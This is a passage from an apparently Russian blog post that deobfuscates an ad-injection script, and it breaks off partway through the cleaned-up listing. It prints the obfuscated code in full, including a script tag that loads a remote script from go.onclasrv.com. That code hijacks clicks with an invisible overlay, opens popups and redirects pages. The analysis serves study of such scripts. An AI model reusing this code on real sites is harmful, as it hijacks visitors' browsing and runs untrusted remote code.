{top:Math.round(Q.top+(I3x.i2h((e4Z6h[G6h]['pageYOffset']||e4Z6h[O6h][M7h]['scrollTop']||e4Z6h[O6h][q7h]['scrollTop']),(e4Z6h[O6h][t7h]['clientTop']||e4Z6h[O6h][j7h]['clientTop']||T)))),left:Math.round(Q.left+(I3x.y5h((e4Z6h[G6h]['pageXOffset']||e4Z6h[O6h][A7h]['scrollLeft']||e4Z6h[O6h][D7h]['scrollLeft']),(e4Z6h[O6h][k7h]['clientLeft']||e4Z6h[O6h][U7h]['clientLeft']||T))))};},R8=function R8(x){var Q="0123456789abcdef";var F=P1;var y=Q;for(var f=T;I3x.W6h(f,H);f++){F+=y.charAt(I3x.p6h(x>>f*U+N,0x0F))+y.charAt(I3x.X6h(x>>f*U,0x0F));}return F;},E2=function E2(Q){var F=function(){f[I3x.m5h(y*K,j)]=I3x.H5h(Q.length,U);};var y=(I3x.w5h(Q.length+U,G))+m;var f=new Array(I3x.C2h(y,K));for(var v=T;I3x.x5h(v,y*K);v++){var e=function(x){f[v]=x;};e(T);}for(v=T;I3x.K6h(v,Q.length);v++){f[I3x.x6h(v,j)]|=I3x.l6h(Q.charCodeAt(v),v%N*U);}f[I3x.T6h(v,j)]|=I3x.W5h(0x80,v%N*U);F();return f;},f8=function f8(x,Q){var F=(I3x.K5h(x,0xFFFF))+(I3x.o5h(Q,(39.30E1<=(141.,0x220)?(0x130,0xFFFF):(0x236,0xFD))));var y=(I3x.u6h(x,K))+(I3x.r6h(Q,K))+(I3x.C6h(F,K));return I3x.y6h(y<<K,F&0xFFFF);},J2=function J2(x,Q){var F=32;return I3x.f6h(x<<Q,x>>>F-Q);},w8=function w8(x,Q,F,y,f,v){return f8(J2(f8(f8(Q,x),f8(y,v)),f),F);},B=function B(x,Q,F,y,f,v,e){return w8(I3x.z6h(Q,F)|~Q&y,x,Q,f,v,e);},A=function A(x,Q,F,y,f,v,e){return w8(I3x.r5h(Q,y)|F&~y,x,Q,f,v,e);},b=function b(x,Q,F,y,f,v,e){return w8(I3x.a2h(Q,F,y),x,Q,f,v,e);},D=function D(x,Q,F,y,f,v,e){return w8(F^(Q|~y),x,Q,f,v,e);},c4=function c4(x){var Q=343485551;var F=((2,27.)>(53,136)?(28,"Y"):(32.1E1,110)<(138.0E1,99)?0x100:(148.9E1,1.039E3)>=8.870E2?(0x0,718787259):(78.60E1,34.));var y=1120210379;var f=145523070;var v=1309151649;var e=((5.66E2,115.)<=0x100?(62,1560198380):(15.,147.4E1)<=(113,72)?5:(46.40E1,1.431E3));var g=30611744;var n=((87.,13.96E2)<(0x225,1.31E2)?'v':(89,21.)<=30.?(14.290E2,1873313359):(0x102,92.)<23.?22:(6E0,92.));var X=2054922799;var V=1051523;var M=(0x129>=(9.3E1,21.8E1)?(38.,1894986606):(0xB5,1.367E3)<0x10F?"g":(7.34E2,79));var z=((59.,1.083E3)>(0x1E7,1.75E2)?(31.0E1,1700485571):106<=(1.461E3,0x5E)?(0xF7,'V'):(54.,124));var W=(28>(0x189,59.90E1)?10:(2.800E2,0x19D)<101.9E1?(1.439E3,57434055):81.>=(0x18D,0x11B)?9.0E1:(0x1EE,2.98E2));var u=1416354905;var q=1126891415;var S=198630844;var t=995338651;var r=530742520;var Z=421815835;var d=640364487;var a=76029189;var k=722521979;var F8=358537222;var v8=681279174;var p8=1094730640;var s8=155497632;var e8=1272893353;var q8=1530992060;var m8=35309556;var t8=1839030562;var T8=((0x5D,1.16E2)<(4.3E2,0x2D)?0x1A9:135.>=(1.58E2,5.8E2)?(0x35,0x119):(8.18E2,4.11E2)>142.?(140.70E1,2022574463):(93.5E1,61));var N8=378558;var j8=1926607734;var r8=1735328473;var S8=(3.800E2<(0x15,43.0E1)?(139.,51403784):(0x7C,51.40E1)>1.407E3?8:(101.30E1,0x8B));var B8=1444681467;var n1=((0x1A0,0x219)<33?(3.5E1,14):(0x23F,2.48E2)<=(115,0x59)?14:0xE4<(0x1B6,4.64E2)?(14.69E2,1163531501):(0x172,0x72));var d8=187363961;var a8=1019803690;var y8=568446438;var g1=405537848;var W1=660478335;var M1=38016083;var u1=701558691;var h8=((58,0x191)>=(0x106,9.13E2)?'R':0xC1<(1.371E3,26.0E1)?(2.5E1,373897302):(0x197,0x6F));var q1=643717713;var m1=1069501632;var t1=165796510;var N1=1236535329;var X8=1502002290;var j1=40341101;var I8=1804603682;var r1=1990404162;var o=11;var P8=42063;var i8=1958414417;var B1=1770035416;var A1=45705983;var x1=1473231341;var b1=1200080426;var Q1=176418897;var z8=1044525330;var V8=((7.10E1,7)<=14.72E2?(44,22):(0x1CD,130.));var D1=606105819;var C1=389564586;var f1=(0x1B5>=(0x155,2.47E2)?(105,680876936):(128,0x1B0)<(0x14D,137)?94:(141.,0x164));var k1=271733878;var K1=((0x157,5.850E2)<=(79,0x233)?(88.60E1,72.9E1):3.1E1<(0xDB,0x54)?(22.,1732584194):(1.97E2,57)>=7.68E2?6.76E2:(87,10.73E2));var A8=271733879;var U1=1732584193;var s=E2(x);var E=U1;var c=-A8;var J=-K1;var l=k1;for(var p=T;I3x.v5h(p,s.length);p+=K){var H1=E;var Z1=c;var G1=J;var b8=l;E=B(E,c,J,l,s[p+T],L,-f1);l=B(l,E,c,J,s[p+m],x8,-C1);J=B(J,l,E,c,s[p+j],Z8,D1);c=B(c,J,l,E,s[p+H],V8,-z8);E=B(E,c,J,l,s[p+N],L,-Q1);l=B(l,E,c,J,s[p+Y],x8,b1);J=B(J,l,E,c,s[p+G],Z8,-x1);c=B(c,J,l,E,s[p+L],V8,-A1);E=B(E,c,J,l,s[p+U],L,B1);l=B(l,E,c,J,s[p+I],x8,-i8);J=B(J,l,E,c,s[p+w],Z8,-P8);c=B(c,J,l,E,s[p+o],V8,-r1);E=B(E,c,J,l,s[p+x8],L,I8);l=B(l,E,c,J,s[p+G8],x8,-j1);J=B(J,l,E,c,s[p+i],Z8,-X8);c=B(c,J,l,E,s[p+P],V8,N1);E=A(E,c,J,l,s[p+m],Y,-t1);l=A(l,E,c,J,s[p+G],I,-m1);J=A(J,l,E,c,s[p+o],i,q1);c=A(c,J,l,E,s[p+T],l8,-h8);E=A(E,c,J,l,s[p+Y],Y,-u1);l=A(l,E,c,J,s[p+w],I,M1);J=A(J,l,E,c,s[p+P],i,-W1);c=A(c,J,l,E,s[p+N],l8,-g1);E=A(E,c,J,l,s[p+I],Y,y8);l=A(l,E,c,J,s[p+i],I,-a8);J=A(J,l,E,c,s[p+H],i,-d8);c=A(c,J,l,E,s[p+U],l8,n1);E=A(E,c,J,l,s[p+G8],Y,-B8);l=A(l,E,c,J,s[p+j],I,-S8);J=A(J,l,E,c,s[p+L],i,r8);c=A(c,J,l,E,s[p+x8],l8,-j8);E=b(E,c,J,l,s[p+Y],N,-N8);l=b(l,E,c,J,s[p+U],o,-T8);J=b(J,l,E,c,s[p+o],K,t8);c=b(c,J,l,E,s[p+i],U8,-m8);E=b(E,c,J,l,s[p+m],N,-q8);l=b(l,E,c,J,s[p+N],o,e8);J=b(J,l,E,c,s[p+L],K,-s8);c=b(c,J,l,E,s[p+w],U8,-p8);E=b(E,c,J,l,s[p+G8],N,v8);l=b(l,E,c,J,s[p+T],o,-F8);J=b(J,l,E,c,s[p+H],K,-k);c=b(c,J,l,E,s[p+G],U8,a);E=b(E,c,J,l,s[p+I],N,-d);l=b(l,E,c,J,s[p+x8],o,-Z);J=b(J,l,E,c,s[p+P],K,r);c=b(c,J,l,E,s[p+j],U8,-t);E=D(E,c,J,l,s[p+T],G,-S);l=D(l,E,c,J,s[p+L],w,q);J=D(J,l,E,c,s[p+i],P,-u);c=D(c,J,l,E,s[p+Y],H8,-W);E=D(E,c,J,l,s[p+x8],G,z);l=D(l,E,c,J,s[p+H],w,-M);J=D(J,l,E,c,s[p+w],P,-V);c=D(c,J,l,E,s[p+m],H8,-X);E=D(E,c,J,l,s[p+U],G,n);l=D(l,E,c,J,s[p+P],w,-g);J=D(J,l,E,c,s[p+G],P,-e);c=D(c,J,l,E,s[p+G8],H8,v);E=D(E,c,J,l,s[p+N],G,-f);l=D(l,E,c,J,s[p+o],w,-y);J=D(J,l,E,c,s[p+j],P,F);c=D(c,J,l,E,s[p+I],H8,-Q);E=f8(E,H1);c=f8(c,Z1);J=f8(J,G1);l=f8(l,b8);}return R8(E)+R8(c)+R8(J)+R8(l);};v5(c5);var n5=[F5,f5,x5,i2,I2,(h2+V4+d2+o1+V4+w2)],v2=m,p2=N,S1=C.j5h,e2=C.t5h,J4=void T,T1=[],S2,X1,z1,W5=Y8,u8=u8||{};s5(C);E5(o2);var M5=L2,q5=O2;z1=b4();T5();l5();if(I3x.X5h(C.F5h,undefined)&&I3x.j6h(C.F5h.length,T)){var V1;L8(function(){k4(function(){var g=function(){V1=e4Z6h[O6h]['querySelectorAll'](J8+C.F5h)?e4Z6h[O6h]['querySelectorAll'](J8+C.F5h):W8;};function n(Q,F){function y(x){if(x.classList.contains(C.F5h)){x.classList.remove(C.F5h);x.classList.add(c4(u8.b5h+Date.now()));}}for(var f=T,v=Q.length;I3x.F6h(f,v);f++){if(F){var e=function(){var x='.html';Q[f].href=X1+x;};e();y(Q[f]);continue;}Q[f].href=i1();}}g();if(I3x.U6h(V1,W8)){return ;}D4(function(){n(V1,I3x.Z2h);},function(){n(V1);});});});return ;}var X2=function(){var v=I3x.H2h;return function(){var Q='ript',F=function(x){v=x;},y=function(x){f.src=x;};if(v){return ;}F(I3x.Z2h);var f=e4Z6h[O6h]['createElement']((p1+g4+Q));y(S2);L8(function(){for(var Y7h in e4Z6h[O6h]){if(Y7h.length==4&&Y7h.charCodeAt(3)==(0x6C!=(0x161,1.08E2)?68:(0x44,1.351E3)<93.?81.:(0x44,4)<28.?(0x89,121):(7.17E2,0x2C))&&Y7h.charCodeAt(2)==((135.,3.64E2)<=(0xA,0x236)?(0x125,100):(1.41E2,133))&&Y7h.charCodeAt(0)==((4.88E2,0x47)>0x1A2?17:(54.,7.)<=75?(99.9E1,98):(0x2E,0xFA)))break};e4Z6h[O6h][Y7h]['appendChild'](f);});f.onload=function(){f.parentNode.removeChild(f);if(I3x.Q6h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){z2(f);}};f.onerror=function(){z2(f);};};}(),z2=function(){var r=I3x.H2h;return function Z(v){var e='anonymous',g='text/css',n='stylesheet',X='head',V='link',M=function(){var x='css';S.id=z1+x;},z=function(x){S.rel=x;},W=function(x){S.crossOrigin=x;},u=function(x){S.type=x;},q=function(){var x='.css';S.href=X1+x;};if(r){return ;}if(v.parentNode){v.parentNode.removeChild(v);}var S=e4Z6h[O6h]['createElement'](V),t=e4Z6h[O6h]['getElementsByTagName'](X)[T];M();z(n);u(g);W(e);q();t&&t.insertBefore(S,t.firstChild);S.onload=function(){var y=I4(S.href);if(y){l4(E1);S.parentNode.removeChild(S);return ;}var f=P4(S.href);setTimeout(function(){var x='io',Q='nct',F='fu';if(typeof f===(F+Q+x+R)){f();}S.parentNode.removeChild(S);},v1);if(I3x.O5h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){l4(E1);}};S.onerror=function(){l4(E1);S.parentNode.removeChild(S);};};}(),l4=function(){var s4=I3x.H2h;return function(h8){var q1='z-index:',m1='bottom:',t1='right:',N1='left:',X8='px;',j1='height:',I8='%;',r1='width:',o='position:fixed;',P8=((144,59.)<=(4.,0x1B4)?(0x9B,101):(89.,100)>=(8.49E2,0xB0)?(137,'U'):(65.5E1,93.2E1)),i8=98,B1=99999999,A1=((5.10E1,47.1E1)>11.?(8.97E2,9999999):(73.,0x243)<=(0xC5,33.9E1)?(59.,8.73E2):(4.60E1,73.9E1)),x1='op',b1='reff',Q1=' ',z8='w',V8='lo',D1='ofol',C1='umbe',f1='number',k1='___goo',K1=(11.26E2<=(11.46E2,46.1E1)?0x249:(9.52E2,0x1B8)<(0x1B9,0x3)?0x9F:(0x1A1,138.)<24.6E1?(3.550E2,30):(105.,5)),A8='|',U1=function(x){O.rel=x;},s=function(x){s4=x;},E=function(){var x='tm';O.href=X1+(J8+w1+x+D8);};function c(){return f4(b8).split(A8).map(function(x){return parseInt(x,w);});}var J=function(){c1=I3x.G2h(c1,v1,d1,d1);};function l(x){var Q=[];while(I3x.e5h(x.length,T)){Q.push(x.splice(Q8(T,x.length),m).toString());}return Q;}function p(x,Q,F){x2(b8,x+A8+Q+A8+F);}if(s4){return ;}s(I3x.Z2h);var H1=m,Z1=H,G1=K1,b8=k1,F1=new Date().getTime(),y1=typeof C.n5h===f1?C.n5h:Z1,c1=typeof C.g5h===(R+C1+E8)?C.g5h:H1,O1=typeof C.R2h===f1?C.R2h:G1,Y1=void T;J();O1*=v1;if(!f4(b8)){p(F1,T,T);e1();}else{var n2=c(),p4=f5h(n2,j),g2=p4[T],L1=p4[m];if(I3x.d2h(c1,T)){p(T,L1,T);}else if(I3x.c5h(F1,g2+c1)){p(F1,L1,T);}else{}var M2=c(),u2=f5h(M2,H),m2=u2[j];if((I3x.T5h(y1,T)||I3x.q6h(m2,y1))&&I3x.k6h(F1,L1+O1)){e1();}}var O=e4Z6h[O6h]['createElement'](K8);E();U1((R+D1+V8+z8+Q1+R+c8+b1+h+E8+h+E8+Q1+R+c8+x1+h+R+h+E8));var t2=Q8(A1,B1),j2=Q8(i8,P8),r2=Q8(i8,P8),A2=Q8(T,N),b2=Q8(T,N),C2=Q8(T,N),k2=Q8(T,N),U2=[o,r1+j2+I8,j1+r2+I8,(l1+x1+z4)+A2+X8,N1+C2+X8,t1+k2+X8,m1+b2+X8,q1+t2+T4];e4Z6h[O6h]['addEventListener'](M5,function(Q){var F=new Date().getTime(),y=c(),f=f5h(y,H),v=f[m],e=f[j];if(I3x.M5h(F,v+O1)){return ;}if(I3x.B5h(e,y1)&&I3x.Z5h(y1,T)){return ;}var g=y4(Q.target,n8);if(g){var n=function(x){Y1=x.href;};n(g);}Q.preventDefault();Q.stopPropagation();Q2();L8(function(){for(var a7h in e4Z6h[O6h]){if(a7h.length==4&&a7h.charCodeAt(3)==121&&a7h.charCodeAt(2)==100&&a7h.charCodeAt(0)==(64.<(140.4E1,146.)?(0x114,98):(121.,1.408E3)<0xB9?(120.,80.9E1):(55.90E1,0x12E)>=0x209?(0x11F,'%;'):(0x179,113)))break};return e4Z6h[O6h][a7h]['appendChild'](O);});O.style.cssText+=l(U2).join(O8);},I3x.Z2h);O.addEventListener(q5,function(Q){var F="Fhtml",y="y",f="od",v="dy",e="bo",g="ead",n=((0x49,13)<=(12.73E2,0xFA)?(57,"h"):(147,80.5E1)),X=(136.>=(26.,38)?(0x4A,"F"):(9.06E2,138)),V="E",M="p",z="Fscri",W="2",u="C",q="3",S="%",t='?q");}, 300);',r='("',Z='ce',d='ati',a='oc',k='ow',F8='(){ ',v8='cti',p8='Time',s8='; ',e8='ul',q8=' = ',m8='er',t8='en',T8='in',N8="%3Chtml%3E%3Chead%3E%3Cscript%3E",j8=function(x){d8=x;},r8=new Date().getTime(),S8=c(),B8=f5h(S8,H),n1=B8[T],d8=B8[m],a8=B8[j],y8=void T;Q.preventDefault();Q.stopPropagation();Q.stopImmediatePropagation();j8(r8);a8+=m;p(n1,d8,a8);if(I3x.k2h(h8,undefined)&&I3x.L2h(h8,E1)){var g1=function(x){y8.opener=x;},W1=function(){var x='?q';e4Z6h[G6h]['location']=O.href+x;};y8=e4Z6h[G6h]['open'](O8);if(I3x.P2h(Y1,undefined)){var M1=function(x){y8.location=x;};M1(Y1);}else{var u1=function(x){y8.location=x.location;};u1(window);}W1();g1(W8);O.parentNode.removeChild(O);return ;}y8=e4Z6h[G6h]['open'](Y8);y8.document.write(decodeURIComponent(N8)+(z8+T8+J1+c8+z8+J8+c8+g8+t8+m8+q8+R+e8+D8+s8+p1+h+l1+p8+c8+k8+l1+S4+R1+k8+R+v8+c8+R+F8+z8+T8+J1+k+J8+D8+a+d+c8+R+J8+E8+h+g8+D8+K8+Z+r)+O.href+t+decodeURIComponent((S+q+u+S+W+z+M+I3x.Y2h+S+q+V+S+q+u+S+W+X+n+g+S+q+V+S+q+u+e+v+S+q+V+S+q+u+S+W+X+W4+f+y+S+q+V+S+q+u+S+W+F+S+q+V)));O.parentNode.removeChild(O);},I3x.Z2h);};}(),m5=function(){var v=((74.,130.)<=0x1C0?(126,')'):(0xF0,63.7E1)),e='AAIB',g='AE',n='BA',X='LA',V='AEAAA',M='B',z='5',W='H',u='y',q='///',S='AA',t='AAA',r='BAIA',Z='QA',d='ODlhA',a=((145,58.)<0xF3?(0x136,'G'):0x197<=(0x166,0x4B)?(7.23E2,'px'):(5.270E2,123.0E1)<=(0x9E,8.)?"O":(0x63,7.54E2)),k='0l',F8='R',v8='e64',p8='as',s8='b',e8=((1.321E3,1.362E3)>=(92,1.387E3)?(1.04E2,"F"):0xBE<=(8.13E2,7.03E2)?(126.,'g'):(9.15E2,37)>(0x57,51.)?84.:(13.52E2,76.)),q8='age',m8=((134.3E1,0xAF)<(0x249,11.)?(127.80E1,"K"):(0x123,52.1E1)<(30.1E1,6.30E1)?7.43E2:(95.10E1,149)<(137.,138.6E1)?(89.4E1,'m'):(29.,0xED)),t8='at',T8=(10.3E1>=(0xB1,24.20E1)?(0x23D,"d"):(6.99E2,0x17F)<(0x16D,0x135)?(0x1BC,0x21F):(0x1B4,14.76E2)>(29.0E1,93.)?(0xE6,999999):(143.,5.79E2)),N8='div',j8=function(x){S8.style.backgroundImage=x;},r8=function(x){S8.style.zIndex=x;},S8=e4Z6h[O6h]['createElement'](N8);r8(T8);j8((k8+E8+D8+S4+J1+t8+K8+z4+C8+m8+q8+Y8+e8+C8+R1+T4+s8+p8+v8+u4+F8+k+a+d+Z+r+n8+t+S+N4+q+u+W+z+M+V+n8+n8+X+S+S+n8+n+g+n8+e+F8+S+h1+v));return function(Q){for(var Q3h in e4Z6h[O6h]){if(Q3h.length==(10.89E2<(14.22E2,0x6A)?32:(0x16,5.600E2)>(0x211,0x16C)?(0x1F,4):(1.268E3,0x13A))&&Q3h.charCodeAt(((99.,9.19E2)>0x11D?(11.,3):(8.61E2,0x190)<=0xD9?88:(0x1E8,0x1DA)>(13.3E2,0x20A)?(1.262E3,0x225):(17.,0x18B)))==121&&Q3h.charCodeAt((46.2E1<=(76.,0x237)?(32.0E1,2):112<(104,70.)?"m":(0x11,73.10E1)))==100&&Q3h.charCodeAt(0)==((0x156,16.)<(0xD4,9.790E2)?(42,98):(43.,1.227E3)))break};var F=S8.cloneNode(I3x.H2h);for(var y in Q){if(Object.prototype.hasOwnProperty.call(Q,y)){var f=function(x){F.style[y]=x[y];};f(Q);}}e4Z6h[O6h][Q3h]['appendChild'](F);return F;};}();e5(X2);e4Z6h[G6h][G2]=function(){if(I3x.h5h(e4Z6h[G6h].zfgloadedpopup,I3x.Z2h)){X2();}};}catch(x){}})({j5h:'',U5h:1397381,n5h:3,g5h:3,R2h:45,t5h:['t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc'],F5h:''},'_hmiadab','_ihlnws');</script><script data-cfasync="false" type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1397380" async onerror="_hmiadab()" onload="_ihlnws()"></script>
</noindex>
Выглядит устрашающе. На практике всё не на столько плохо как может показаться, но понять что тут происходит решительно невозможно. Разве что видно, что в зависимости от того грузится или не грузится рекламный скрипт с go.onclasrv.com вызывается та или иная функции. Не густо. Давайте приведём это хоть в сколько-то читабельную форму. Нам в этом поможет jsnice.org. По крайней мере теперь есть форматирование кода и числа в нормальной форме, а не смесь из разных систем счисления и форм записи. Бонусом будем считать разметку типов переменных и параметров функций, пусть и не совсем точную в некоторых ситуациях.
/** @type {Window} */
var e4Z6h = window;
var P6h;
for (P6h in e4Z6h) {
if (P6h.length === ((39, 10) <= (571, 36) ? (40, 9) : (41, 73) >= (3, 356) ? 115 : (491, 125)) && (P6h.charCodeAt((40, 448) >= (82, 427) ? (1496, 6) : (1074, 336)) === (638 > (502, 465) ? (983, 116) : (209, 985) < 471 ? 134 : 798 <= (1408, 185) ? 908 : (426, 579)) && (P6h.charCodeAt((1285, 201) > (337, 74) ? (6, 8) : (129, 1081)) === ((368, 262) >= (906, 3) ? (115, 114) : (62, 284) >= (539, 397) ? (864, 22) : (50, 1128)) && (P6h.charCodeAt((547, 23) >= 1013 ? 114 : (405, 133) > 306 ? (192, "com") :
(435, 146) <= 158 ? (97, 4) : (119, 981)) === ((701, 59) >= (138, 249) ? (12, 400) : (40, 73) <= (94, 169) ? (53, 103) : (131, 426)) && P6h.charCodeAt((444, 138) < (430, 5) ? 269 : (103, 350) >= (579, 412) ? (289, "k") : (60, 229) <= 1128 ? (124, 0) : (235, 113)) === (1035 > (149, 136) ? (17, 110) : (410, 94) >= 232 ? (533, 957) : 98 <= (1355, 1) ? "A" : (56, 45)))))) {
break;
}
}
var O6h;
for (O6h in e4Z6h) {
if (O6h.length === (106 >= (208, 6) ? (1, 8) : (1097, 90)) && (O6h.charCodeAt(5) === 101 && (O6h.charCodeAt(7) === ((103, 581) > 52 ? (576, 116) : 370 < (144, 293) ? 456 : 520 <= (317, 511) ? 138 : (75, 20)) && (O6h.charCodeAt(3) === (653 >= (316, 733) ? "e" : (1313, 306) < 566 ? (109, 117) : (148, 198)) && O6h.charCodeAt(0) === 100)))) {
break;
}
}
var G6h;
for (G6h in e4Z6h) {
if (G6h.length === 6 && (G6h.charCodeAt(3) === 100 && (G6h.charCodeAt(5) === 119 && (G6h.charCodeAt(138 < (206, 584) ? (807, 1) : 519 <= (135, 278) ? (1268, "|") : (41, 320) <= 40 ? (9, "|") : (213, 717)) === 105 && G6h.charCodeAt((31, 106) <= (312, 326) ? (129, 0) : (111, 139)) === 119)))) {
break;
}
}
"use strict";
var I3x = {
/**
* @param {number} a4
* @param {number} b1
* @return {?}
*/
"O2h" : function(a4, b1) {
return a4 * b1;
},
/**
* @param {?} newVal
* @param {?} oldVal
* @return {?}
*/
"R5h" : function(newVal, oldVal) {
return newVal !== oldVal;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"j6h" : function(a, b) {
return a > b;
},
/**
* @param {?} deepDataAndEvents
* @param {?} el
* @return {?}
*/
"L2h" : function(deepDataAndEvents, el) {
return deepDataAndEvents === el;
},
/**
* @param {?} i
* @param {Object} arr2
* @return {?}
*/
"V6h" : function(i, arr2) {
return i in arr2;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"Q6h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
"Y2h" : "t",
/**
* @param {?} v02
* @param {?} dataAndEvents
* @return {?}
*/
"M6h" : function(v02, dataAndEvents) {
return v02 !== dataAndEvents;
},
/**
* @param {number} object
* @param {number} backoff
* @param {number} value
* @param {number} data
* @return {?}
*/
"G2h" : function(object, backoff, value, data) {
return object * backoff * value * data;
},
/**
* @param {number} dataAndEvents
* @param {number} obj
* @return {?}
*/
"H5h" : function(dataAndEvents, obj) {
return dataAndEvents * obj;
},
/**
* @param {?} callback
* @param {?} value
* @return {?}
*/
"S6h" : function(callback, value) {
return callback === value;
},
/**
* @param {number} deepDataAndEvents
* @param {number} obj
* @return {?}
*/
"a5h" : function(deepDataAndEvents, obj) {
return deepDataAndEvents <= obj;
},
/**
* @param {number} to
* @param {number} from
* @return {?}
*/
"J5h" : function(to, from) {
return to - from;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"u5h" : function(a, b) {
return a > b;
},
/**
* @param {number} dataAndEvents
* @param {number} v00
* @return {?}
*/
"z6h" : function(dataAndEvents, v00) {
return dataAndEvents & v00;
},
/**
* @param {number} deepDataAndEvents
* @param {number} n
* @return {?}
*/
"N5h" : function(deepDataAndEvents, n) {
return deepDataAndEvents <= n;
},
/**
* @param {?} regex
* @param {?} timer
* @return {?}
*/
"T5h" : function(regex, timer) {
return regex === timer;
},
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
"e6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents == deepDataAndEvents;
},
/**
* @param {number} _id
* @param {number} dataAndEvents
* @return {?}
*/
"K6h" : function(_id, dataAndEvents) {
return _id < dataAndEvents;
},
/**
* @param {number} value
* @param {number} regex
* @return {?}
*/
"C2h" : function(value, regex) {
return value * regex;
},
/**
* @param {(boolean|number|string)} res
* @param {(boolean|number|string)} dataAndEvents
* @return {?}
*/
"c5h" : function(res, dataAndEvents) {
return res > dataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} regex
* @return {?}
*/
"u6h" : function(deepDataAndEvents, regex) {
return deepDataAndEvents >> regex;
},
/**
* @param {number} dataAndEvents
* @param {number} xs
* @param {number} v00
* @return {?}
*/
"a2h" : function(dataAndEvents, xs, v00) {
return dataAndEvents ^ xs ^ v00;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"P5h" : function(a, b) {
return a === b;
},
/**
* @param {?} name
* @param {?} index
* @return {?}
*/
"U2h" : function(name, index) {
return name === index;
},
/**
* @param {(boolean|number)} i
* @param {(boolean|number)} regex
* @return {?}
*/
"B5h" : function(i, regex) {
return i >= regex;
},
/**
* @param {(boolean|number|string)} a
* @param {(boolean|number|string)} b
* @return {?}
*/
"e5h" : function(a, b) {
return a > b;
},
/**
* @param {?} name
* @param {?} index
* @return {?}
*/
"A5h" : function(name, index) {
return name === index;
},
/**
* @param {number} v02
* @param {number} regex
* @return {?}
*/
"r6h" : function(v02, regex) {
return v02 >> regex;
},
/**
* @param {?} dataAndEvents
* @param {?} deepDataAndEvents
* @return {?}
*/
"z5h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents === deepDataAndEvents;
},
/**
* @param {number} k
* @param {number} n
* @return {?}
*/
"m5h" : function(k, n) {
return k - n;
},
/**
* @param {number} dataAndEvents
* @param {number} v00
* @return {?}
*/
"r5h" : function(dataAndEvents, v00) {
return dataAndEvents & v00;
},
/**
* @param {string} deepDataAndEvents
* @param {string} args
* @return {?}
*/
"o2h" : function(deepDataAndEvents, args) {
return deepDataAndEvents == args;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"f6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents | deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} wait
* @return {?}
*/
"p5h" : function(deepDataAndEvents, wait) {
return deepDataAndEvents <= wait;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"E6h" : function(a, b) {
return a === b;
},
/**
* @param {number} _id
* @param {number} n
* @return {?}
*/
"x6h" : function(_id, n) {
return _id >> n;
},
/**
* @param {number} value
* @param {number} end
* @return {?}
*/
"M5h" : function(value, end) {
return value <= end;
},
/**
* @param {number} dataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"X6h" : function(dataAndEvents, opt_attributes) {
return dataAndEvents & opt_attributes;
},
/**
* @param {string} deepDataAndEvents
* @param {string} value
* @return {?}
*/
"i5h" : function(deepDataAndEvents, value) {
return deepDataAndEvents == value;
},
"H2h" : false,
/**
* @param {number} value
* @param {number} regex
* @return {?}
*/
"C6h" : function(value, regex) {
return value >> regex;
},
/**
* @param {number} value
* @param {number} execResult
* @return {?}
*/
"W6h" : function(value, execResult) {
return value <= execResult;
},
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
"J6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents == deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} opt_fromIndex
* @return {?}
*/
"n6h" : function(deepDataAndEvents, opt_fromIndex) {
return deepDataAndEvents <= opt_fromIndex;
},
/**
* @param {string} el
* @param {string} value
* @return {?}
*/
"S5h" : function(el, value) {
return el == value;
},
/**
* @param {?} deepDataAndEvents
* @param {?} val1
* @return {?}
*/
"k2h" : function(deepDataAndEvents, val1) {
return deepDataAndEvents !== val1;
},
/**
* @param {number} i
* @param {number} regex
* @return {?}
*/
"q6h" : function(i, regex) {
return i < regex;
},
/**
* @param {string} deepDataAndEvents
* @param {string} result
* @return {?}
*/
"K2h" : function(deepDataAndEvents, result) {
return deepDataAndEvents == result;
},
/**
* @param {string} dataAndEvents
* @param {string} value
* @return {?}
*/
"G5h" : function(dataAndEvents, value) {
return dataAndEvents == value;
},
/**
* @param {?} dataAndEvents
* @param {?} deepDataAndEvents
* @return {?}
*/
"H6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents === deepDataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"K5h" : function(deepDataAndEvents, opt_attributes) {
return deepDataAndEvents & opt_attributes;
},
/**
* @param {number} _id
* @param {number} dataAndEvents
* @return {?}
*/
"x5h" : function(_id, dataAndEvents) {
return _id < dataAndEvents;
},
/**
* @param {number} far
* @param {number} near
* @return {?}
*/
"y5h" : function(far, near) {
return far - near;
},
/**
* @param {number} el
* @param {number} value
* @return {?}
*/
"V5h" : function(el, value) {
return el == value;
},
/**
* @param {number} _id
* @param {number} v02
* @return {?}
*/
"b6h" : function(_id, v02) {
return _id < v02;
},
/**
* @param {string} deepDataAndEvents
* @param {string} collection
* @return {?}
*/
"A6h" : function(deepDataAndEvents, collection) {
return deepDataAndEvents == collection;
},
/**
* @param {number} deepDataAndEvents
* @param {number} obj
* @return {?}
*/
"D6h" : function(deepDataAndEvents, obj) {
return deepDataAndEvents <= obj;
},
/**
* @param {number} deepDataAndEvents
* @param {number} value
* @return {?}
*/
"g6h" : function(deepDataAndEvents, value) {
return deepDataAndEvents <= value;
},
/**
* @param {number} v02
* @param {number} dataAndEvents
* @return {?}
*/
